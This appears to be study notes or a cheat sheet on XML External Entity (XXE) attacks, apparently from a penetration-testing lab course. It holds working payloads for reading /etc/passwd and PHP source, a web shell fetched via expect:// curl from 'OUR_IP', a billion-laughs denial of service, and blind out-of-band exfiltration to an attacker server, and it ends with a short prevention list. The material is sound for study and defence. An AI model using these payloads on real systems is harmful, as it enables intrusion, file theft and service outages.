XXE
Tag
The keys of an XML document, usually wrapped with (<
/>
) characters.
<date>
Entity
XML variables, usually wrapped with (&
/;
) characters.
<
Element
The root element or any of its child elements, and its value is stored in between a start-tag and an end-tag.
<date>01-01-2022</date>
Attribute
Optional specifications for any element that are stored in the tags, which may be used by the XML parser.
version="1.0"
/encoding="UTF-8"
Declaration
Usually the first line of an XML document, and defines the XML version and encoding to use when parsing it.
<?xml version="1.0" encoding="UTF-8"?>
XML DTD (Document Type Description)
Email.dtd
<!DOCTYPE email [
<!ELEMENT email (date, time, sender, recipients, body)>
<!ELEMENT recipients (to, cc?)>
<!ELEMENT cc (to*)>
<!ELEMENT date (#PCDATA)>
<!ELEMENT time (#PCDATA)>
<!ELEMENT sender (#PCDATA)>
<!ELEMENT to (#PCDATA)>
<!ELEMENT body (#PCDATA)>
]>
Retrieving Email.dtd
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE email SYSTEM "email.dtd">
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE email SYSTEM "http://inlanefreight.com/email.dtd">
XML Entities
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE email [
<!ENTITY company "Inlane Freight">
]>
External XML Entities
You can use SYSTEM or PUBLIC
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE email [
<!ENTITY company SYSTEM "http://localhost/company.txt">
<!ENTITY signature SYSTEM "file:///var/www/html/signature.txt">
]>
Exploitation
Identifying
Note which elements are being displayed, so we know which elements to inject into
Try to display an entity (declaration is placed outside <root>)
<!DOCTYPE email [
<!ENTITY company "Inlane Freight">
]>
<email>&company;<email>
Reading Sensitive Files
Note: In java, sometimes we can get directory listing when we input a directory instead of a file
<!DOCTYPE email [
<!ENTITY company SYSTEM "file:///etc/passwd">
]>
Note: If the file we are referencing to contains XML chars (<, >, &), it might not display due to error so we need to encode it
<!DOCTYPE email [
<!ENTITY company SYSTEM "php://filter/convert.base64-encode/resource=index.php">
]>
Remote Code Execution
$ echo '<?php system($_REQUEST["cmd"]);?>' > shell.php
$ sudo python3 -m http.server 80
<?xml version="1.0"?>
<!DOCTYPE email [
<!ENTITY company SYSTEM "expect://curl$IFS-O$IFS'OUR_IP/shell.php'">
]>
<root>
<name></name>
<tel></tel>
<email>&company;</email>
<message></message>
</root>
Note: encode <space> so we won't' break the XML. Also avoid using |, >, and {
Other XXE Attacks
DoS
<?xml version="1.0"?>
<!DOCTYPE email [
<!ENTITY a0 "DOS" >
<!ENTITY a1 "&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;">
<!ENTITY a2 "&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;">
<!ENTITY a3 "&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;">
<!ENTITY a4 "&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;">
<!ENTITY a5 "&a4;&a4;&a4;&a4;&a4;&a4;&a4;&a4;&a4;&a4;">
<!ENTITY a6 "&a5;&a5;&a5;&a5;&a5;&a5;&a5;&a5;&a5;&a5;">
<!ENTITY a7 "&a6;&a6;&a6;&a6;&a6;&a6;&a6;&a6;&a6;&a6;">
<!ENTITY a8 "&a7;&a7;&a7;&a7;&a7;&a7;&a7;&a7;&a7;&a7;">
<!ENTITY a9 "&a8;&a8;&a8;&a8;&a8;&a8;&a8;&a8;&a8;&a8;">
<!ENTITY a10 "&a9;&a9;&a9;&a9;&a9;&a9;&a9;&a9;&a9;&a9;">
]>
<root>
<name></name>
<tel></tel>
<email>&a10;</email>
<message></message>
</root>
Note: Entity self referencing doesn't work on modern web servers (i.e. apache)
Advance File Disclosure
php filter alternative. CDATA will make XML treat as raw data so special characters won't be a problem
<!DOCTYPE email [
<!ENTITY begin "<![CDATA[">
<!ENTITY file SYSTEM "file:///var/www/html/submitDetails.php">
<!ENTITY end "]]>">
<!ENTITY joined "&begin;&file;&end;">
]>
Note: &joined; will not work here since XML forbids joining of internal dtd and external dtd. Thats why use XML parameter entities %
. This will make xml treat all of them as external
<!ENTITY joined "%begin;%file;%end;">
Final Exploit
$ echo '<!ENTITY joined "%begin;%file;%end;">' > xxe.dtd
$ python3 -m http.server 8000
<!DOCTYPE email [
<!ENTITY % begin "<![CDATA[">
<!ENTITY % file SYSTEM "file:///var/www/html/submitDetails.php">
<!ENTITY % end "]]>">
<!ENTITY % xxe SYSTEM "http://OUR_IP:8000/xxe.dtd"> <!-- our external DTD -->
%xxe;
]>
...
<email>&joined;</email> <!-- reference the &joined; entity to print the content -->
Note: In some modern web servers, we may not be able to read some files (like index.php), as the web server would be preventing a DOS attack caused by file/entity self-reference (i.e., XML entity reference loop)
Error-Based XXE
Not as reliable as previous methods
certain characters might break it
content length limitation
Identifying
Pass a malformed xml data <roo> instead of <root>
or use a &nonExistentEntity;
Exploitation
Assuming $nonExistentEntity; (or you can use a bad character in the reference file or a bad URI) throws an error:
<!-- xxe.dtd -->
<!ENTITY % file SYSTEM "file:///etc/hosts">
<!ENTITY % error "<!ENTITY content SYSTEM '%nonExistingEntity;/%file;'>">
<!DOCTYPE email [
<!ENTITY % remote SYSTEM "http://OUR_IP:8000/xxe.dtd">
%remote;
%error;
]>
Blind XXE (Out-of-band exfiltration)
xxe.dtd
<!ENTITY % file SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd">
<!ENTITY % oob "<!ENTITY content SYSTEM 'http://OUR_IP:8000/?content=%file;'>">
PHP Server
<?php
if(isset($_GET['content'])){
error_log("\n\n" . base64_decode($_GET['content']));
}
?>
Payload
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE email [
<!ENTITY % remote SYSTEM "http://OUR_IP:8000/xxe.dtd">
%remote;
%oob;
]>
<root>&content;</root>
Automated OOB Exfiltration
$ git clone https://github.com/enjoiz/XXEinjector.git
$ cat req.txt
POST /blind/submitDetails.php HTTP/1.1
Host: 10.129.201.94
Content-Length: 169
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)
Content-Type: text/plain;charset=UTF-8
Accept: */*
Origin: http://10.129.201.94
Referer: http://10.129.201.94/blind/
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close
<?xml version="1.0" encoding="UTF-8"?>
XXEINJECT
$ ruby XXEinjector.rb --host=127.0.0.1 --httpport=8000 --file=req.txt --path=/etc/passwd --oob=http --phpfilter
$ cat Logs/10.129.201.94/etc/passwd.log
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
...SNIP..
Prevention
Avoid using outdated components
Using Safe XML Configurations
Disable referencing custom
Document Type Definitions (DTDs)
Disable referencing
External XML Entities
Disable
Parameter Entity
processingDisable support for
XInclude
Prevent
Entity Reference Loops
Add proper exception handlings for error-based XXE
Others suggest avoid using XML data (SOAP API), instead use JSON or YAML
WAF
Last updated